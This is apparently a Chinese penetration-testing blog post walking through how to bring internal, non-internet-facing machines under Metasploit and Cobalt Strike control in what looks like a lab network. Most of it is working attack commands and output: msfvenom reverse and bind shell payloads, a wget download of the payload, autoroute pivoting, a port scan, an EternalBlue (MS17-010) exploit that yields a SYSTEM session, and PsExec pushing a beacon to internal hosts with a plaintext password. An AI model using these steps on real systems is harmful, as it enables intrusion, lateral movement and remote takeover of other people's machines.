多喝热水:http://hackergu.com
内网中的很多机器是不可以出网的,那该如何在Msf和CS中上线呢?
我们的目标机器是一台linux服务器,我们先生成elf马。
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.101.90 LPORT=7777 -f elf >test.elf
在目标机器上使用wget
命令,下载该马。
wget http://192.168.101.90:8080/test.elf
在msf中开启侦听,并在目标机器上运行此马。
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.101.90
lhost => 192.168.101.90
msf5 exploit(multi/handler) > set lport 7777
lport => 7777
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.101.90:7777
[*] Sending stage (985320 bytes) to 192.168.101.91
[*] Meterpreter session 1 opened (192.168.101.90:7777 -> 192.168.101.91:38264) at 2020-02-13 10:32:09 +0800
meterpreter >
至此我们便获得了一个meterpreter。
使用run get_local_subnets
查看该机器的网段。
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 192.168.22.0/255.255.255.0
Local subnet: 192.168.101.0/255.255.255.0
从结果中,我们可以看到有一个192.168.22.0
的网段。
为了探测该网段的机器,我们需要添加该网段的路由。
使用命令:run autoroute -s 192.168.22.0/24
meterpreter > run autoroute -s 192.168.22.0/24
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
[*] Adding a route to 192.168.22.0/255.255.255.0...
[+] Added route to 192.168.22.0/255.255.255.0 via 192.168.101.91
[*] Use the -p option to list all active routes
接下来探测该网段的机器,因为我提前设置好了,是一台win的机器,于是我就利用扫描模块中的portscan扫了该网段的445端口和3389端口。
msf5 auxiliary(scanner/portscan/tcp) > set ports 445,3389
ports => 445,3389
msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.22.0/24
rhosts => 192.168.22.0/24
msf5 auxiliary(scanner/portscan/tcp) > set threads 10
threads => 10
msf5 auxiliary(scanner/portscan/tcp) > exploit
[+] 192.168.22.22: - 192.168.22.22:445 - TCP OPEN
[+] 192.168.22.22: - 192.168.22.22:3389 - TCP OPEN
[*] 192.168.22.0/24: - Scanned 26 of 256 hosts (10% complete)
[*] 192.168.22.0/24: - Scanned 52 of 256 hosts (20% complete)
[*] 192.168.22.0/24: - Scanned 79 of 256 hosts (30% complete)
[*] 192.168.22.0/24: - Scanned 103 of 256 hosts (40% complete)
[*] 192.168.22.0/24: - Scanned 129 of 256 hosts (50% complete)
[*] 192.168.22.0/24: - Scanned 154 of 256 hosts (60% complete)
[*] 192.168.22.0/24: - Scanned 181 of 256 hosts (70% complete)
[*] 192.168.22.0/24: - Scanned 205 of 256 hosts (80% complete)
[*] 192.168.22.0/24: - Scanned 233 of 256 hosts (91% complete)
[*] 192.168.22.0/24: - Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
可以看到目标机器确实存在的。
目标机器存在永恒之蓝漏洞,我们可以利用ms17_010模块进行攻击。
msf5 exploit(windows/smb/ms17_010_psexec) > set rhosts 192.168.22.22
rhosts => 192.168.22.22
msf5 exploit(windows/smb/ms17_010_psexec) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_psexec) > show options
Module options (exploit/windows/smb/ms17_010_psexec):
Name Current Setting Required Description
---- --------------- -------- -----------
DBGTRACE false yes Show extra debug trace info
LEAKATTEMPTS 99 yes How many times to try to leak transaction
NAMEDPIPE no A named pipe that can be connected to (leave blank for auto)
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS 192.168.22.22 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:'
RPORT 445 yes The Target port
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
Payload options (windows/meterpreter/bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LPORT 4444 yes The listen port
RHOST 192.168.22.22 no The target address
Exploit target:
Id Name
-- ----
0 Automatic
msf5 exploit(windows/smb/ms17_010_psexec) > exploit
[*] 192.168.22.22:445 - Target OS: Windows 7 Ultimate 7601 Service Pack 1
[*] 192.168.22.22:445 - Built a write-what-where primitive...
[+] 192.168.22.22:445 - Overwrite complete... SYSTEM session obtained!
[*] 192.168.22.22:445 - Selecting PowerShell target
[*] 192.168.22.22:445 - Executing the payload...
[+] 192.168.22.22:445 - Service start timed out, OK if running a command or non-service executable...
[*] Started bind TCP handler against 192.168.22.22:4444
[*] Sending stage (180291 bytes) to 192.168.22.22
[*] Meterpreter session 3 opened (192.168.101.90-192.168.101.91:0 -> 192.168.22.22:4444) at 2020-02-13 11:16:34 +0800
meterpreter > ipconfig
Interface 1
============
Name : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
Interface 11
============
Name : Intel(R) PRO/1000 MT Network Connection
Hardware MAC : 00:0c:29:69:e3:0e
MTU : 1500
IPv4 Address : 192.168.22.22
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::1a7:6b86:5d6f:6fb9
IPv6 Netmask : ffff:ffff:ffff:ffff::
可以看到攻击成功。
在这里要注意一点,我们的payload需要设置为bind_tcp
。
了解一下reverse_tcp
和bind_tcp
区别:
[reverse_tcp]
attacker -> [contact me at the port 4444] -> victim
after the payload is executed
attacker <-> [port 4444] <-> victim
[bind_tcp]
attacker -> [open the way for me in the port 4444] -> victim
after execution
attacker <-> [port 4444] <-> victim
参考大佬的文章:https://blog.csdn.net/adidala/article/details/24117711
我的理解呢就是,如果目标机器可以上网,那就使用reverse_tcp
,让目标机器出网连接我们的服务器,以此建立连接。
而bind_tcp
则是在目标机器处于内网中,无法出网的情况下使用。在无法出网的目标机器上开放一个端口,供攻击机通过转发的路由连接。
现在回到刚才的win机器,假设此机器没有永恒之蓝漏洞,但是我们通过猜测口令的方式登录了3389。此时我们可以利用msfvenom生成一个exe。那如何将此exe传到不出网的目标机器上呢?
msfvenom -p windows/meterpreter/bind_tcp LPORT=5555 -f exe >bind.exe
想了几种办法,第一种呢就是先将流量代理出去,通过代理登录该目标主机的远程桌面,传递exe,并执行;那另一种就是在第一台linux机器上利用python开启简易web服务,win主机通过curl或者bitsadmin等命令下载到本地,再执行(这个办法感觉有点猖狂)。(题外话:但是如果目标机器支持powershell的话,为什么不采用ps呢?)
不管通过什么办法,exe现在已经到了目标win机器上了。我们现在设置一下msf:
msf5 exploit(windows/smb/ms17_010_psexec) > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/bind_tcp
payload => windows/meterpreter/bind_tcp
msf5 exploit(multi/handler) > set rhost 192.168.22.22
rhost => 192.168.22.22
msf5 exploit(multi/handler) > set lport 5555
lport => 5555
msf5 exploit(multi/handler) > exploit
这里一定要注意,获得meterpreter的顺序为:先在win机器上执行我们的exe,然后再在msf上执行exploit
。与reverse_tcp
的顺序刚好相反。
这样在内网的机器就可以上线了。
为了方便上线,我把web服务放在了一台win7上。
大体流程图如下:
假设win7的web服务存在命令执行漏洞,那么我们可以直接利用cs的ps脚本上线方式使其上线。
上线之后,对上线的机器使用net view
命令
之后我们便收到:
192.168.22.22
便是我们目标内网机器,该机器不出网,所以我们要使用间接方法使其上线。
接下来,使目标机器出网。
在刚才拿到的机器上建立一个:Listener
接下来利用该Listener生成一个exe:
此处Proxy可不写。
点击Generate
之后,生成了一个beacon.exe
.
另外我们还需要一个软件PsExec.exe
附下载地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/psexec
将这两个exe上传到我们刚开始拿下的机器下(上传需要获得一个高权限):
上传ok之后,运行命令:
shell C:\Windows\Temp\PsExec.exe -accepteula \\192.168.22.12,192.168.22.22 -u Administrator -p teamssix.com -d -c C:\Windows\Temp\beacon.exe
虽然上述报了错,但是并不影响我们正常上线。
因为该内网中的机器是根据192.168.22.12
的机器建立连接的,所以如果192.168.22.12
断线,那么内网中的这台机器也将掉线。一掉全掉。
当然上线的方式还有很多种,在这里我只是列举了两种我觉得比较特殊的方式,其他的还是得多练才行。